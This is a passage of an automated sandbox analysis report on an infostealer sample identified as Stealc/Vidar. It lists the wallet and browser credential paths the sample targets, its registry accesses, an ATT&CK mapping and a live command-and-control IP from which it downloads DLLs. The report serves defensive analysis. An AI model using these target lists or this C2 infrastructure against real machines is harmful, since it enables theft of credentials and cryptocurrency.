Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2601149719.00000000238DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2580701195.0000000001498000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2580701195.0000000001436000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3340, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.b50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2578960631.0000000000B51000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2580701195.00000000013BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2165259580.0000000004F20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3340, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 3340, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 Process Injection	3 Obfuscated Files or Information	Security Account Manager	235 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	641 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	24 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	24 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	42%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\chrome.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://deff.nelreports.net/api/report?cat=msn	0%	URL Reputation	safe
http://polymer.github.io/AUTHORS.txt	0%	URL Reputation	safe
https://ogs.google.com/widget/callout?eom=1	0%	URL Reputation	safe
https://drive-daily-2.corp.google.com/	0%	URL Reputation	safe
http://polymer.github.io/PATENTS.txt	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://drive-daily-1.corp.google.com/	0%	URL Reputation	safe
https://drive-daily-5.corp.google.com/	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://chromewebstore.google.com/	0%	URL Reputation	safe
https://drive-preprod.corp.google.com/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	unknown
plus.l.google.com	142.250.181.238	true	false	unknown
play.google.com	142.250.185.110	true	false	unknown
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	unknown
sb.scorecardresearch.com	18.244.18.38	true	false	unknown
www.google.com	142.250.185.228	true	false	unknown
googlehosted.l.googleusercontent.com	142.250.185.225	true	false	unknown
clients2.googleusercontent.com	unknown	unknown	false	unknown
bzib.nelreports.net	unknown	unknown	false	unknown
assets.msn.com	unknown	unknown	false	unknown
c.msn.com	unknown	unknown	false	unknown
ntp.msn.com	unknown	unknown	false	unknown
apis.google.com	unknown	unknown	false	unknown
api.msn.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	true		unknown
https://deff.nelreports.net/api/report?cat=msn	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.php	true		unknown
http://185.215.113.206/746f34465cf17784/softokn3.dll	true		unknown
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730230520716&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false		unknown
https://api.msn.com/auth/cookie/appanon?apikey=1hYoJsIRvPEnSkk0hlnJF2092mHqiz7xFenIFKa9uc&ocid=authconstants-peregrine&activityId=8731449F-A998-4646-A5D1-482B211350CC&scn=app_anon	false		unknown
http://185.215.113.206/746f34465cf17784/freebl3.dll	true		unknown
https://bzib.nelreports.net/api/report?cat=bingbusiness	false		unknown
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false		unknown
http://185.215.113.206/746f34465cf17784/mozglue.dll	true		unknown
http://185.215.113.206/746f34465cf17784/nss3.dll	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000002.2580701195.000000000145C000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2247065063.0000122402DCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2269059945.0000122402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2263455228.0000122402DCC000.00000004.00000800.00020000.00000000.sdmp, CFHIIJDB.0.dr, Web Data.9.dr	false	URL Reputation: safe	unknown
https://google-ohttp-relay-join.fastly-edge.com/)	chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.2580701195.000000000145C000.00000004.00000020.00020000.00000000.sdmp, CFHIIJDB.0.dr, Web Data.9.dr	false	URL Reputation: safe	unknown
https://google-ohttp-relay-join.fastly-edge.com/3	chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://permanently-removed.invalid/oauth2/v2/tokeninfo	msedge.exe, 00000007.00000003.2350598255.00007BCC0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2348330321.00007BCC00264000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/0	chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ntp.msn.com/0	000003.log9.9.dr	false		unknown
http://anglebug.com/4633	chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206)	file.exe, 00000000.00000002.2580701195.00000000013BE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7382	chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2601149719.00000000238DD000.00000004.00000020.00020000.00000000.sdmp, GDAAKFIDGIEGDGDHIDAK.0.dr	false	URL Reputation: safe	unknown
https://issuetracker.google.com/284462263	msedge.exe, 00000007.00000003.2350903371.00007BCC0037C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/:	chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/=	chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.gcp.privacysandboxservices.com	chrome.exe, 00000002.00000003.2269146570.0000122403A30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2271663926.0000122403A30000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/G	chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000002.00000003.2246013358.0000122403134000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2246454529.0000122403270000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2247100114.000012240262C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2246425767.0000122403174000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2247836470.0000122402FC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2247588564.000012240340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2246928645.00001224031B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2246320389.00001224032A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2246279590.0000122403254000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2246784019.0000122402E94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2246875973.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2247267223.00001224032C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2246853163.0000122402918000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.google.com/	manifest.json0.9.dr	false		unknown
http://185.215.113.206/746f34465cf17784/nss3.dllOwBl	file.exe, 00000000.00000002.2580701195.0000000001419000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/E	chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.pa.aws.privacysandboxservices.com	chrome.exe, 00000002.00000003.2269146570.0000122403A30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2271663926.0000122403A30000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.youtube.com	d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	false		unknown
https://photos.google.com/settings?referrer=CHROME_NTP	chrome.exe, 00000002.00000003.2245415337.0000122402FC8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7714	chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2350903371.00007BCC0037C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.instagram.com	d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/H	chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/O	chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/L	chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/R	chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000002.00000003.2247100114.000012240262C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2247588564.000012240340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2247267223.00001224032C8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.php024	file.exe, 00000000.00000002.2580701195.0000000001419000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/V	chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive.google.com/?lfhs=2	chrome.exe, 00000002.00000003.2247065063.0000122402DCC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6248	chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ogs.google.com/widget/callout?eom=1	chrome.exe, 00000002.00000003.2265755152.0000122403900000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2266747352.00001224039B0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/Y	chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://outlook.office.com/mail/compose?isExtension=true	d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	false		unknown
http://anglebug.com/6929	chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/c	chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	false		unknown
